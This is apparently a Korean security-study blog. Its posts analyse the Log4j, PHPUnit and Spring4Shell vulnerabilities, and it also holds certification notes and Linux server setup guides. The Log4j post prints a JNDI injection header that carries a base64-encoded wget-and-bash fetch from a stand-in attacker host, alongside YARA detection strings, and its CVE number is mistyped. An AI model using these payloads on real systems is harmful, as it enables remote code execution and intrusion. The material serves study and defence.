반응형
반응형

1.개요
2.공격
3.대응방안

1.개요

21년말부터 22년 초까지 유명했던 Apache Log4j 취약점에 대한 소개.

Log4j란?

Java에서 사용하는 로그 생성 모듈이다.
Log를 생성할 때 사용하는 라이브러리로써 로그를 생성하는 포맷등을 쉽게 생성하고 양식을 표준화 할 수 있기 때문에, 대부분의 Java 개발시 사용하는 기본 모듈과 같다.

2. 공격

CVE-2021-4428

Log4j에는 여러 취약점이 있기 때문에 추가적으로 CVE코드가 붙어있지만 이 글에서는 CVE-2021-4428에 대해 이야기하려한다.
해당 취약점은 원격 코드 실행(RCE) 취약점으로 Log4j 내의 텍스트 문자열을 분석하는중 JNDI가 "${jndi]" 명령의 특정 서식이 포함된 로그메시지를 받으면 트리거가 되어 원격 코드를 실행할 수 있게 된다.

PayLoad

User-Agent의 스트링을 통해 원격 코드를 실행한다.
wget -q -O AttackerserverIP|bash

공격자는 공격구문을 숨기기위해 명령어 부분은 base64를 통해 인코딩해서 사용한다.
해당 구문이 실행되면 공격자의 IP에서 웹쉘과 같은 악의적인 파일을 업로드하여 원격코드를 실행시키려고 할것이다.

User-Agent: ${jndi:ldap://AttackerserverIP/Basic/Command/Base64/d2dldCAtcSAtTyBBdHRhY2tlcnNlcnZlcklQfGJhc2g=}

3. 대응방안

해당 취약점이 처음 나왔을때 KISA의 권고안은 Log4j 버전 업데이트를 추천하였다.
그 때 당시에는 2.0이상 버전은 여러가지로 불안정하다는 평이 많았기 때문에 임시 방안으로 JndiLookup 클래스를 해당 경로로 들어가 수동제거하였다.

현재는 버전의 안전성이 높아졌으므로 패치 하여 조치하는쪽이 좋을꺼같다.

시스템 구성상의 문제로 패치가 불가피하다면, IPS-IDS에 룰로 Content에 jndi:을 추가하여 관리하는것이 좋아보인다.

Yara
      $ x01  =  " ${jndi:ldap:/ "
      $ x02  =  " ${jndi:rmi:/ "
      $ x03  =  " ${jndi:ldaps:/ "
      $ x04  =  " ${jndi:dns:/ "
      $ x05  =  " ${jndi:iiop:/ "
      $ x06  =  " ${jndi:http:/ "
      $ x07  =  " ${jndi:nis:/ "
      $ x08  =  " ${jndi:nds:/ "
      $ x09  =  " ${jndi:corba:/ "
반응형

'공부 > 보안' 카테고리의 다른 글

[Report] WordPress xmlrpc 취약점  (0) 2023.04.05
[Report] Apache Solr 취약점 분석  (0) 2023.04.05
[Report] PHPUnit 원격코드실행 취약점 분석  (0) 2023.04.05
[Report] Spring4Shell 취약점  (0) 2023.04.05
java script (1)  (0) 2020.04.10
반응형
  1. 개요
  2. 공격
  3. 대응방안

1.개요

  • 페이로드
    Get /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.ph http 1.1

PHPUnit?

  • PHP 프로그래밍 언어를 위한 유닛 테스트 프레임워크.

Vendor 폴더란?

  • 패키지가 저장되는 폴더이며 composer를 통해 설치되는 패키지들을 저장

Composer란?

  • PHP의 의존성 관리 도구

2.공격

5.6.3 이전 버전에 있는 Util/PHP/eval-stdin.php의 취약점을 이용해 공격자는 <?php 문자열로 시작하는 PHP 코드를 실행시키며 phpinfo의 기본 정보 조회, die 함수를 이용한 서버의 메시지 직접 출력 등 PHP로 구성된 페이지의 내부 정보의 조회가 목적

3. 대응 방안

대부분의 취약점과 같이 최신 버전으로 업데이트
시스템적인 요소들에 의하여 업데이트가 불가한경우 IPS Snort 룰에 Util/PHP/eval-stdin 추가하여 조치.

반응형

'공부 > 보안' 카테고리의 다른 글

[Report] WordPress xmlrpc 취약점  (0) 2023.04.05
[Report] Apache Solr 취약점 분석  (0) 2023.04.05
[Report] Apache Log4j 취약점 분석  (0) 2023.04.05
[Report] Spring4Shell 취약점  (0) 2023.04.05
java script (1)  (0) 2020.04.10
반응형

01.개요
02.공격
03.대응방안

01.개요

Spring?

  • JAVA의 웹 프레임워크.
    JAVA로 다양한 어플리케이션을 만들기 위한 프로그래밍 툴.
    Spring을 통해 다른 사람의 코드를 조금 더 쉽게 참조하고 , 편리한 구조를 만들어 JAVA의 인기에 큰 역할.

Spring4shell?

  • 이전에도 classLoader에 매개변수를 조작하는 취약점들이 있었는데, Spring Core 프레임워크 취약점 POC가 공개되어 주목받게되었고, 해당 취약점은 Spring4Shell, SpringShell로 명명 되었다.

02.공격

CVE-2022-22965

  • Spring4Shell 취약점은 Spring Core 프레임워크에서 특정 조건 하에 Remote Code Execution이 가능한 취약점.
    매개변수를 바인딩 하는 과정에서 class 객체가 노출되어 발생.
    class 객체의 child인 class.module.classLoader에 웹 매개변수를 통해 접근가능하며 AccessLogValve를 이용하여 웹 쉘 등 악성코드를 업로드 후 명령어 실행.

03.대응방안

  • KISA 권고 사항은 JDK 9이상의 프레임워크를 사용하는 경우 패치를 권고.
  • 시스템적인 여건으로 패치가 불가능한경우 IDS, IPS에 관련 룰을 추가하여 대응.

참고 사이트*
https://velog.io/@thelm3716/spring4shell-CVE-2022-22965
https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2022-03-30-spring-core-rce.mdx#who-is-impacted

반응형

'공부 > 보안' 카테고리의 다른 글

[Report] WordPress xmlrpc 취약점  (0) 2023.04.05
[Report] Apache Solr 취약점 분석  (0) 2023.04.05
[Report] Apache Log4j 취약점 분석  (0) 2023.04.05
[Report] PHPUnit 원격코드실행 취약점 분석  (0) 2023.04.05
java script (1)  (0) 2020.04.10
반응형
  • 야라
    • 악성 코드에 포함된 텍스트 또는 바이너리 패턴을 이용하여 악성코드를 식별하고 분류할 수 있는 오픈소스 프로젝트 도구로 단순히 텍스트 또는 바이너리 패턴뿐만이 아니라 파일이나 프로세스의 오프셋, 가상 메모리 주소 활용 및 정규 표현식 등을 이용하여 다양한 룰을 생성할 수 있다. 바이러스 토탈에서 제작하였으며 오픈소스로 관리되고 있다.
  • 슬랙 공간
    • 저장매체의 물리적인 구조와 논리적인 구조의 차이로 발생하는 낭비 공간으로 물리적으로 할당된 공간이지만 논리적으로 사용될 수 없는 공간을 의미한다. 이러한 공간은 데이터를 은닉하거나 악성코드를 기록해두는 악의적인 목적으로 활용될 수 있다.
  • 공급망 공격
    • S/W 개발사의 네트워크에 침투하여 소스 코드를 수정, 악의적인 목적의 코드를 삽입하거나 배포를 위한 서버에 접근하여 악의적인 파일로 변경하는 방식을 통해 사용자 PC에서 소프트웨어 설치 또는 업데이트 시에 자동으로 감염되도록 하는 공격
  • DDE
    • 마이크로소프트 오피스 응용 프로그램 간 데이터 전달을 위해 제공하는 프로토콜인 DDE를 이용하여 페이로드를 전달하는 문서 파일은 VBA 매크로 코드를 이용하지 않고도 악성 기능을 수행가능하다.
  • APT
    • 일반적으로 특정한 목표대상에 대해 취약점을 파악하고 다양한 방법을 이용한 지속적인 공격활동으로 정보 탈취, 시스템 파괴 등의 손상을 입히려는 새로운 공격 형태로 비교적 공격 기법이 정교하여 탐지 및 차단이 어려운 공격기법
  • 워터링 홀
    • 정보유출을 목적으로 한 표적화된 사이버 첩보활동에 주로 쓰이며, 하나 이상의 제로데이 취약점을 이용하는 것으로, 정책연구 및 국제업무를 수행하는 민간 외교기관인 미 외교협회 홈페이지를 대상으로 MS 제로데이 취약점을 이용한 이 공격이 탐지된 후 심각한 보안위협으로 급부상
  • 스피어 피싱
    • 작살로 물고기를 잡는 작살 낚시에서 유래된 기법으로 불특정 다수가 아닌 특정인 또는 조직을 표적으로 신뢰할 만한 발신인이 보낸 것처럼 위장한 메일을 통해 악성 웹사이트로 유도하거나 악성 첨부 파일로 악성코드에 감염시키는 일종의 온라인 사기행위.
  • MITRE ATT&CK
    • 사이버 공격의 흐름을 분류하는 기준으로 MITRE 사에서는 사이버 공격 전술 및 기술에 대한 정보를 기반으로 하는 MITRE ATT&CK 프레임워크를 제공한다. 전통적인 사이버 킬 체인의 7단계를 확장한 모델로 공격자로부터 발생한 일관된 공격 행동 패턴에 대한 분석을 기반으로 공격자의 행위를 식별해 줄 수 있다.
  • 허니넷/허니팟
    • 허니팟은 해커나 스팸, 바이러스 등의 외부 침입에 대응하는 시스템인 동시에 역추적을 할 수 있는 위장서버 등을 이용해 해커를 유인하여 해킹경로와 해킹 수법을 알아내는 시스템을 말한다.
      • 허나핏의 사전적 의미는 꿀단지를 의미하며 달콤한 꿀단지를 통해 해커를 유인하는 방식으로 이해
  • 역추적 기술
    • 최근 해킹 공격은 공격자가 공격 대상을 직접 해킹하는것이 아니라 여러 나라 또는 여러 컴퓨터들을 경유하여 공격하는 사례가 증가하고 있다. 역주척 기술이란 해킹을 시도하는 해커의 실제 위치를 실시간으로 추적하는 기술을 말한다. 역추적 기술은 일반적으로 2가지 분야로 분류한다.
      • 해커의 실제 위치를 추적하는 기술 : TCP 연결 역추적 과 연결 역추적이 있다.
      • IP 주소가 변경된 패킷의 실제 송신지를 추적하는 기술 : IP 패킷 역추적과 패킷 역추적이 있다.
    • 역추적 기술
      • TCP 연결 역추적은 TCP 연결을 기반으로 우회 공격을 시도하는 해커의 실제 위치를 실시간으로 추적하는 기법으로 호스트 기반 연결 역추적 기수로가 네트워크 기반 연결 역추적 기술로 분류한다.
  • HEIST 취약점
    • 자바스크립트로 브라우저에 대한 사이드 채널 공격을 통해 암호문의 정확한 크기를 알아냄
    • 대응책
      • 제 3자 쿠키 비허용, 자바스크립트 사용 비활성화
  • DROWN 취약점
    • SSL 2.0 취약점을 이용하여 TLS 연결 해독 가능
    • SSL 2.0 사용 금지
  • FREAK 취약점
    • 수출 등급 RSA 사용을 유도하여 brute-force 공격으로 키를 얻어냄
    • RSA EXPORT Cipher Suites 비활성화
  • POODLE 취약점
    • TLS 연결을 SSL 3.0으로 낮춰 SSL 3.0 취약점을 이용하여 암호문을 해독
    • SSL 3.0 사용 금지
  • HeartBleed 취약점
    • OpenSSL 라이브러리 하트비트 확장 모듈의 버그로 인하여 웹서버의 시스템 메모리 내용 유출
    • 최신 보안 패치 적용, SSL 인증서 재발급
  • ntpdc -n -c monlist 192.168.1.2
    • NTP서버에 최근 접속한 클라이언트 주소 정보를 전송해주는 명령어
  • NTP 분산 서비스 거부 취약점
    • NTP는 네트워크상에 시스템들의 시간을 동기화 하는 프로토콜로 UDP 포트를 사용한다. 최근 NTP 서버의 ‘monlist’ 기능을 통해 분산 서비스 거부 공격을 발생시킬 수 있는 취약점이 발견되어 보안 업데이트가 권고 되었다.
  • SSDP 증폭 공격
    • 증폭/반사 공격의 일종으로 1900/UDP 포트를 사용하며 공개된 IoT 기기 검색 요청을 조작하여 기기로부터 발생하는 상대적 큰 응답 패킷이 희생자 호스트에게 전달되어 서비스 거부 유발.
  • IDS 의 침입 판정 오류인 False Positive와 False Negative
    • False Positive(오탐)
      • 공격이 아닌 것을 공격으로 탐지하는 경우를 말한다.
    • False Negative(미탐)
      • 공격을 탐지하지 못하는 경우를 말한다.
  • NAC 물리적 구성방식
    • 인라인 방식
      • 물리적 네트워크 경로 상에 설치하여 연결된 네트워크를 통과하는 모든 트래픽이 거쳐 가도록 하는 방식
      • 설치된 경로 상의 모든 트래픽을 직접 통제할 수 있기 때문에 미러링 방식에 비해 더 강화된 접근제어가 가능하지만 기존 네트워크 구성 변경이 필요하고 NAC 장비 장애 시 전체 네트워크 가용성에 영향을 줄 수 있다는 단점이 있다.
  • ESM
    • 통합보안관제에서 ESM의 역할
      • 통합보안관제를 위해 구축된 다양한 보안 솔루션 장비 에서 발생하는 로그 , 보안 이벤트를 취합, 상호 연관성을 분석함으로써 실시간 보안위협을 파악하고 대응하기 위한 시스템을 말한다.
    • ESM의 상호연관분석에 대해 간략히 설명
      • 상호연관분석은 동종 또는 이기종의 여러 보안 솔루션 장비에서 발생되는 이벤트 패턴간의 연관성을 분석하는 것으로 보안 위협에 대한 보다 정확한 판단과 대응을 가능하게 한다.
    • ESM 구성요소
      • ESM Agent : 보안 장비에 탑재되어 사전에 정의된 규칙에 따른 로그 및 이벤트 데이터를 수집하여 Manager로 전달하는 기능
      • ESM Manager : ESM Agent를 통해 수집된 데이터를 저장, 분석하여 그 결과를 ESM Console로 통보하는 기능
      • ESM Console : 전달 받은 정보를 시각적 전달, 상황 판단 및 리포팅 등의 기능을 제공하며 Manager와 Agent에 대한 제어/통제를 수행
  • 신규 보안장비에 대한 계정관리 측면에서 조치해야할 사항 4가지 이상
    • 기본 관리자 계정 변경
    • 관리자 계정의 기본 패스워드 변경
    • 계정별 권한 설정
    • 미사용 계정 삭제
  • 운영체제보안시스템의 평가기준인 접근통제시스템 보호프로파일에서 설명하고 있는 정책
    • RBAC : 사용자가 객체에 접근할 때, 사용자와 접근허가의 직접적인 관계가 아닌 조직의 특성에 따른 역할을 매개자로 하여 사용자-역할, 접근허가-역할의 관계를 통해 접근을 제어하는 방식
    • MAC : 사용자에게 부여된 접근허가범위에 따라 객체에 대한 접근을 통제하는 방식으로 자산에 대한 침해시도를 방지하기 위해 주체 및 객체에 등급을 부여할 경우 등급기반 접근통제라고도 함.
    • DAC : 사용자나 사용자가 속한 그룹의 신원에 따라 정보에 대한 접근을 통제하는 방식으로 상용 운영체제에서 제공하는 접근 통제 방식
  • 전자서명을 통하여 제공할 수 있는 보안서비스 세 가지 기술
    • 무결성 : 메시지가 위/변조 되지 않았음을 보장
    • 인증 : 해당 메시지가 송신자가 만든 메시지임을 보장
    • 부인방지 : 해당 메시지를 송신자가 만들어 전송했음을 부인하지 못하도록 한다.
  • PKI 구성 객체
    • CA (인증기관) : 인증정책을 수립하고 인증서의 발행, 효력정지, 폐지 등을 관리하며 다른 CA와의 상호인증을 수행
    • RA (등록기관) : 인증기관을 대신해 사용자의 신원 확인 및 인증기관에 사용자를 등록하고 발행된 인증서를 사용자에게 전달하는 역할 수행
    • CRL (인증서폐기목록) : 효력이 정지되거나 폐기된 목록으로 인증기관별로 관리.
  • 정보보호목표 5가지
    • 기밀성 : 오직 인가된 주체에게만 정보 열람
    • 무결성 : 정보의 변조 없는 전송
    • 가용성 : 정당한 사용자는 필요시 항상 시스템을 사용할 수 있어야한다
    • 인 증 : 해당 정보에 접근하고자 하는 객체를 검증
    • 부인방지 : 송수신자가 전송한 사실을 부인할 수 없게 만드는 것
  • 정보보호정책
    • 정보보호정책이란 조직의 정보보호에 대한 방향과 전략을 제시하고 조직이 수행하는 모든 정보보호 활동의 근거가 되는 것으로써 어떤 조직의 기술과 정보자산에 접근하려는 사람이 따라야 하는 규칙의 형식적인 진술이자 정보보호업무를 관리하기 위한 수단이다. 따라서 정보보호정책에는 최소한 중요한 정보자산이 무엇인지 식별하고 정보의 어떤 특성이 만족되어야 하는지를 선언하는 정보보호정책의 목적이 제시되어야 하고, 조직에 미치는 영향을 고려하여 중요한 업무, 서비스, 조직, 사람, 자산들을 포함할 수 있도록 정보보호정책의 정용범위를 설정해야 한다. 또한 누구든지 쉽게 숙지할 수 있도록 중요한 사항만을 간단하고 명료하게 작성한 정보보호의 책임을 명확히 정의.
    • 기업의 내 외부 환경과 업무성격에 맞는 효과적인 정보보호 활동을 위하여 기본적으로 무엇이 수행되어야 하는가를 일목요연하게 기술한 지침과 규약으로, 정보보호 목적과 활동에 관한 사항을 정의하는 최상위 문서
  • 정보보호정책 접근방법
    • 표준
      • 정보보호정책의 달성을 위해 필요한 요구사항을 구체적으로 정의한 것으로 조직의 환경 또는 요규사항에 일치되어 관련된 모든 사용자들이 준수하도록 요구되어지는 강제 규정이다.
    • 지침
      • 정보보호정책에 따라 특정 시스템 또는 특정 분야별로 정보보호 활동에 필요하거나 도움이 되는 세부사항에 대한 규정이다.
      • 표준은 강제 규정임에 반해 지침은 강제성이 미약하고 선택적이거나 권고적인 내용이며 융통성을 가질 수 있는 정보보호를 위한 규정이다.
    • 절차
      • 사용자, 관리자들이 정책, 표준, 지침을 따르기 위하여 구체적으로 어떻게 해야 하는지에 대하여 세부적이고 상세하게 설명한 문서
      • 정책을 달성하기 위하여 밟아 나가야하는 세부적인 단계와 누가 무엇을 해야 하는지를 자세히 기술한 것으로 사용자, IT ,운영, 보안 직원 및 특정한 작업을 수행할 필요가 있는 사람들에게 적용될 수 있다.
    • 기준선
      • 일관성 있게 참조할 보호수준의 포인트로 최소보호수준을 정의하는데 사용한다.
  • 위험관리
    • 조직의 자산에 대한 위험을 감수할 수 잇는 수준으로 유지하기 위하여 자산에 대한 위험을 분석하고 이러한 위험으로부터 자산을 보호하기 위한 비용 대비 효과적인 보호대책을 바련하는 일련의 과정을 말한다.
  • 위험
    • 조직이 필요로 하는 정보보호 요구사항들이 무엇인지를 분석하기 위해서 정보나 정보처리 기기에 대한 위협의 종류, 위협의 영향, 위협의 발생가능성 등을 평가하는 과정을 위험 평가라고 한다. 이 과정의 결과를 통해 정보보호의 위협을 인식하고, 적절한 비용 이내에서 필요한 통제 방안을 선택함으로써 위협을 적절히 통제하는 과정을 위험 관리 라고 한다. 또한, 선택된 톡제의 목적과 통제 방안이 무엇인지, 그리고 이렇게 선택한 이유 등을 문서로 정리한 것을 위험관리계획 라고 하며, 여기에는 선택된 통제방안들을 누가, 언제, 어디서, 무엇에게, 어떻게 적용할 것인지를 언급하게 된다.
  • 위험관리 과정
    • 위험관리 전략 및 계획 수립 → 위험분석 → 위험평가 → 정보보호 대책수립 →정보보호 계획 수립→ 대책 설정
  • 위험 평가 요소
    • 자산 : 조직이 보호해야 할 대상으로서 정보, 하드웨어, 소프트웨어, 시설 등을 말하며 관련 인력, 기업, 이미지 등의 무형자산도 포함된다. 데이터 혹은 자산 소유자가 가치를 부여한 실체이다
    • 위협 : 손실이나 손상의 원인이 될 가능성을 제공하는 환경의 집합이다. 보안에 해를 끼치는 행동이나 사건이다.
    • 취약성/취약점 : 자산의 잠재적 속성이나 처한 환경으로 위협의 이용대상으로 관리적, 물리적, 기술적 약점이다.
반응형

'공부 > 자격증' 카테고리의 다른 글

정보처리산업기사 02  (0) 2023.09.19
정보처리산업기사 01  (0) 2023.09.10
리눅스 서버 보안  (2) 2020.02.06
시스템보안  (0) 2020.02.06
01.29 정보보안산업기사  (0) 2020.01.29
반응형

목차
1. 오라클 인스턴스 클라이언트 설치
2. Apache 설치
3. PHP 설치
4. Apache, PHP 설정
5. 서버 실행 후 연동 확인

1. 오라클 인스턴스 클라이언트 설치

1) 오라클 인스턴스 클라이언트 다운

설치할 오라클 인스턴스 클라이언트는 오라클 한국어 사이트인 https://www.oracle.com/kr/index.html 에서 oracle-instantclient12.2-basic-12.2.0.1.0-1.x86_64.rpm 와 oracle-instantclient12.2-devel12.2.0.1.0-1.x86_64.rpm 두 개의 파일을 윈도우로 다운받았고 ftp를 통해 리눅스로 보냈다.

2) 오라클 인스턴스 클라이언트 설치

rpm 명령어를 통해 파일을 설치한다.

이 작업을 수행하면 /usr/lib/oracle/12.2를 오라클 베이스 디렉토리로 설치된다.

3) 접속 환경 설정

sqlnet.ora 파일과 tnsnames.ora 파일을 생성한다.

[root@apo ~]# mkdir -p /usr/lib/oracle/network/admin/
[root@apo ~]# vi /usr/lib/oracle/network/admin/sqlnet.ora

NAMES.DIRECTORY_PATH= (TNSNAMES)

[root@apo ~]# vi /usr/lib/oracle/network/admin/tnsnames.ora

oracle =    
  (DESCRIPTION =
   (ADDRESS = (PROTOCOL = tcp) (HOST = 오라클서버 아이피) (port = 1521))  
   (CONNECT_DATA = (SID = DB12))    
  )

2. Apache 설치

1) 아파치 다운

아파치 설치파일인 httpd-2.2.34.tar.gz 를 /usr/local/에 다운받고 압축을 해제한다.

[root@apo local]# tar xvfz httpd-2.2.34.tar.gz
[root@apo local]# cd ./httpd-2.2.34

2) 아파치 설치

configure -> make -> make install 순으로 컴파일 설치한다.

[root@apo httpd-2.2.34]# ./configure --prefix=/app/apache --enable-rewrite --enable-so
[root@apo httpd-2.2.34]# make
[root@apo httpd-2.2.34]# make install

3) 아파치 접속테스트

아파치 서버를 실행하고 브라우저를 이용해서 접속 테스트를 진행한다.

서버가 시작되기는 하지만 시작될 때 'httpd: Could not reliably determine the server's fully qualified domain name, using fe80::2efd:a1ff:fe72:a9f0 for ServerName' 경고가 발생할 수 있다. 이런 경우 httpd.conf(/app/apache/conf/httpd.conf) 파일에 'ServerName localhost' 를 추가하면 경고가 없어진다. ServerName 항목은 주석 처리되어 있을 것이다.

3. PHP 설치

1) php 설치전 패키지 설치

PHP 설치전 컴파일을 위해 libxml패키지를 설치한다.
[root@apo ~]# yum install -y libxml2*

2) php 다운

php 설치파일인 httpd-2.2.34.tar.gz 를 /usr/local/에 다운받고 압축을 해제한다.
[root@apo local]# tar xvfz php-5.6.39.tar.gz

3) php 설치

TNS_ADMIN, LD_LIBRARY_PATH와 같이 오라클 관련 경로 설정에 정의된 내용이 시스템에 존재하 는지 반드시 확인하며 설치한다.

[root@apo local]# cd php-5.6.39/
[root@apo php-5.6.39]# ./configure --with-apxs2=/app/apache/bin/apxs --with-oci8=instantclient,/usr/lib/oracle/12.2/client64/lib --enable-sigchild
[root@apo php-5.6.39]# make
[root@apo php-5.6.39]# make install
[root@apo php-5.6.39]# cp php.ini-development /usr/local/lib/php.ini

4. Apache, PHP 설정

1) apache 설정파일 httpd.conf 파일 수정

/app/apache/conf/httpd.conf 파일의 내용을 수정한다. APO 서버 설정과 동일하다.

추가 내용 
LoadModule php5_module     modules/libphp5.so 
AddType application/x-httpd-php .php .html .htm .inc    

2) PHP 설정파일 php.ini 파일 수정

/usr/local/lib/php.ini 파일의 내용을 수정한다. APO 서버 설정과 동일하다.

short_open_tag = On 
default_charset = "EUC-KR"  (UTF-8 변경 가능) 
include_path=".:/usr/local/lib" 
upload_tmp_dir = /tmp 
date.timezone = Asia/Seoul 
error_reporting = E_ALL & ~E_NOTICE

3) 아파치 실행할때 tns 및 경로 설정

/app/apache/bin/apachectl를 열어서 다음의 내용을 추가한다.

[root@apo ~]# vi /app/apache/bin/apachectl

.............

[root@apo ~]# oracle install
export TNS_ADMIN=/usr/lib/oracle/network/admin
export LD_LIBRARY_PATH=/usr/lib/oracle/12.2/client64/lib
export NLS_LANG=AMERICAN_AMERICA.KO16MSWIN949

5. 서버 실행 후 연동 확인

  • 연동확인할때 데이터베이스서버는 리스너를 구동시키고, 데이터베이스를 startup 시켜두어야한다.

1) index.html 파일수정

/app/apache/htdocs/index.html 파일을 다음과 같이 수정한다.

<?  
 $server = "oracle";  
 $user_name = "php";  
 $password = "php";  
 $conn=@oci_connect($user_name, $password, $server) or die('Could not connect:');  
 echo("Oracle 12c \$conn : $conn<br>");  
 $st=oci_server_version($conn);  
 echo("$st<br>");  
 phpinfo(); 
?>

2) 아파치를 재실행 한다.

[root@apo ~]# /app/apache/bin/apachectl stop
[root@apo ~]# /app/apache/bin/apachectl start

반응형

'공부 > 리눅스' 카테고리의 다른 글

Docker 네트워크 구성 실습  (0) 2023.04.07
[Linux] FTP 보안명세 구현🤗  (0) 2023.04.05
리눅스 마스터 2급  (0) 2020.01.30
11.07 리눅스  (0) 2019.11.07
반응형

FTP 서버의 보안 명세 구현 실습😀

: 다음 사용자에 대한 보안 명세를 FTP 서버로 구현한다.

  • 자료 배포 디렉토리 : /home/ftp
  • 리눅스 모든 사용자가 해당 디렉토리에서 다운 가능.
  • root를 제외하고 자신의 홈디렉토리를 벗어날 수 없다.
  • ftpadmin 계정에서만 파일 업로드 가능.
  • 일반 사용자 업무 계정인 st01, st02, st03 계정은 ftp접속 불허

작업 수행

목차

  1. 계정생성
  2. vsftpd 설치 및 서버 실행
  3. 자료 배포 디렉토리 생성 및 권한설정
  4. CHroot 설정
  5. userlist 설정

1. 관리자 계정 생성과 자료배포용 디렉토리 생성

그룹 생성
ftpadmin (GID:3000)

계정 생성
ftpadmin (UID:3001,3000)

2. Vsftpd 설치 및 서버 실행 명령어

yum list vsftpd   //설치확인         
yum install -y vsftpd //설치    
systemctl start vsftpd //실행

3. 자료배포 디렉토리 생성 및 권한설정

mkdir /home/ftp
chgrp ftpadmin /home/ftp
chmod 775 /home/ftp

4. Chroot 설정

Root를 제외하고 자신의 홈 디렉토리를 벗어날수 없음

vi /etc/vsftpd/vsftpd.conf

 chroot_local_user=No
 chroot_list_enable=YES
 Allow_writeable_chroot=YES
 chroot_list_file=/etc/vsftpd/chroot_list

vsftpd.conf파일의 설정내용

  • chroot_local_user와 chroot_list는 주석처리되어있기 때문에 주석을 제거.

Allow_writeable_chroot 는 추가.
vi /etc/vsftpd/chroot_list

Root 추가

Mount –bind /home/ftp /home/[각 계정 홈 디렉토리]/ftp

// chroot 설정은 외부 디렉토리로 연결된 link 디렉토리에 접근도 금지때문에 /home/ftp 디렉토리에 대한 마운트 설정

chmod 775 /home/[계정]/ftp

5. userlist 설정

st01,st02,st03 계정은 ftp 접속을 불허

vi /etc/vsftpd/vsftpd.conf

userlist_enable=YES
userlist_deny=YES

vi /etc/vsftpd/user_list

st01, st02, st03 추가

// user_list 파일에 등록된 사용자는 접속이 불허된다.

반응형

'공부 > 리눅스' 카테고리의 다른 글

Docker 네트워크 구성 실습  (0) 2023.04.07
[Linux] CentOS7 오라클 연동 APO(Apache+PHP+Oracle) 설치😄  (0) 2023.04.05
리눅스 마스터 2급  (0) 2020.01.30
11.07 리눅스  (0) 2019.11.07
반응형

1.자바스크립트의 특징

 

객체를 이용하여 프로그래밍하는 객체 기반언어이다.

 

브라우저에 대한 우수한 호환성으로 주로 Client-side(explore)에서 프로그래밍하는 스크립트로 사용된다.

 

HTML안에 삽입될때는 <script> ~ </script> 안에 정의된다.

 

2.자바스크립트를 정의하는 방법

 

<script> ~ </script> 안에 정의한다.

 

<script> ~</script> 의 위치는 <head>~</head> 태그 또는 <body>~</body> 태그에 모두 정의 가능.

 

<script language="javascript">

<!--

자바스크립트 문장들..

//-->

</script>

 

3.자바스크립트의 자료형

 

자바스크립트의 자료형은 varient 타입이라고 할 수 있다.

 

세부적으로는 char,int,double,float,int,long,short,void 등의 타입을 가지고 있다.

 

자료형을 엄격히 따지지 않는 스크립트 언어이므로 a=10 과 같이 처음부터 치환문을 이용해도 된다.

 

 

4. 증감 연산자

 

-전위 연산자

피연산자의 앞쪽에 위치한다

 

-후위 연산자

피연산자의 뒤쪽에 위치한다

 

 

 

반응형
반응형

리눅스 보안

  • 리눅스 개요 및 사용

리눅스는 윈도우, 유닉스 ios 와 같은 운영체제의 한 종류로 컴퓨터 시스템의 하드웨어를 효율적으로 관리하기위한 시스템 소프트 웨어이 이다. 리눅스는 1989년 핀란드 헬싱키 대학에 재학 중이던 리누스 토르발스가 개발한것으로 유닉스를 기반으로 하였으며 공개용 운영 체제이다.

 

  • 리눅스 특징

1) 다중 사용자

리눅스는 여러 명의 사용자가 네트워크를 통해서 접속하여 컴퓨터 시스템을 사용할 수 있는다중 사용자 환경을 지원하기 때문에 사용자별 권한 관리와 자원 관리가 가능하다.

 

2) 다중작업

다중작업은 운영체제 내에서 여러 개의 프로세스를 동시에 실행시켜 CPU를 스케줄링하여 사용할 수 있다. 여러 개의 프로세스가 동시에 실행되기 때문에 각 프로세스간 작업순서 조정과 같은 스케줄링 기능을 가지고 있다. 이러한 스케줄링은 기본적으로 시간 사용량 만큼 자원을 할당하여 사용할 수 있게 하는 시분할 시스템을 지원한다.

 

3) 다중 처리기

컴퓨터 시스템에 한 개 이상의 CPU가 탑재되어 있는 경우 여러 개의 CPU를 지원해 주는 다중 처리기를 지원하며 작업을 병렬적으로 처리하여 시스탬을 효율적으로 사용한다.

 

4) 다중 플랫폼

리눅스는 여러 종류 CPU를 지원한다. 즉, 인텔, SUn Sparc, Power PC 등을 모두 지원하여 대부분의 플랫폼을 지원하고 성능을 낼 수 있다.

 

5) 계층형 파일 시스템

리눅스 파일 시스템은 루트를 기반으로 하위 디렉터리를 이루는 계층형 파일 시스템으로 이루어져 있어서 디렉토리를 쉽게 추가하고 관리할 수 있으며, 파일 시스템을 효율적으로 관리할 수있다. 계층형 파일 시스템은 리눅스 뿐만 아니라 윈도우, 유닉스 모두 계층형 파일 시스템으로 되어있다.

 

6) POSIX와 호환

POSIX는 유닉스 시스템의 표준 인터페이스를 정의한 것으로 리눅스는 POSIX 표준을 따른다.

 

7) 우수한 네트워킹

리눅스의 강력한 네트워킹 기능은 TCP/IP, IPX/SPC, Appletalk, Bluetooth 등 다양한 프로토콜을 지원하며 리눅스 설치 이후에 IP 주소, 게이트웨이, 서브넷 등을 설정하면 바로 네트워크를 사용할 수 있다.

 

8) 가상 콘솔

리눅스는 기본적으로 6개의 가상콘솔이 있어서 각 창마다 서로 다른 작업을 수행할 수 있으므로 물리적인 모니터의 한계를 극복한다.

 

9) 가상 기억장치

주기억장치의 한계를 극복하기 위해서 보조 기억장치를 마치 주기억장치처럼 사용할 수 있도록 하여 주기억장치의 공간을 증대하는 방법이 가상 기억장치이다. 가상 기억장치는 기억공간을 확대하여 기억장치를 효율적으로 사용할 수 있으므로 시스템을 안정적으로 사용할 수 있다.

 

리눅스 운영체제의 기능

task manager : task의 생성, 실행, 상태관리,스케줄링, 시그널 처리, 프로세스 간 통신 등의 서비스 제공

memory manager : 세그먼테이션, 페이징, Swap 서비스를 통한 물리 메모리와 가상 메모리 관리

file system Manager : 파일 생성/삭제, 접근제어, 디렉토리 관리, 슈퍼블록 관리 등의 서비스 제공

Network Manager : 소켓, TCP/IP , 프로토콜 스택 관리 등의 서비스

Device Manager : 디스크, 각종 카드, 외부 인터페이스 등을 제어하는 드라이버 관리 서비스 제공

 

  • 리눅스 로그파일

사용자가 네트워크를 경유해서 리눅스 운영체제에 접속하고 로그인 후 어떤 명령 등을 실행하면 리눅스 운영체제는 사용자의 터미널 정보, 실행한 명령어 , 로그인과 로그아웃 정보 등을 모두 로그파일에 기록한다.

로그파일은 공격자가 임의적으로 시스템에 접근하여 어떤 작업을 수행했는지 알 수 있는 것으로 침해사고 발생 시 누가 무엇을 수행했는지 증명하는 책임추적성 역할을 수행한다.

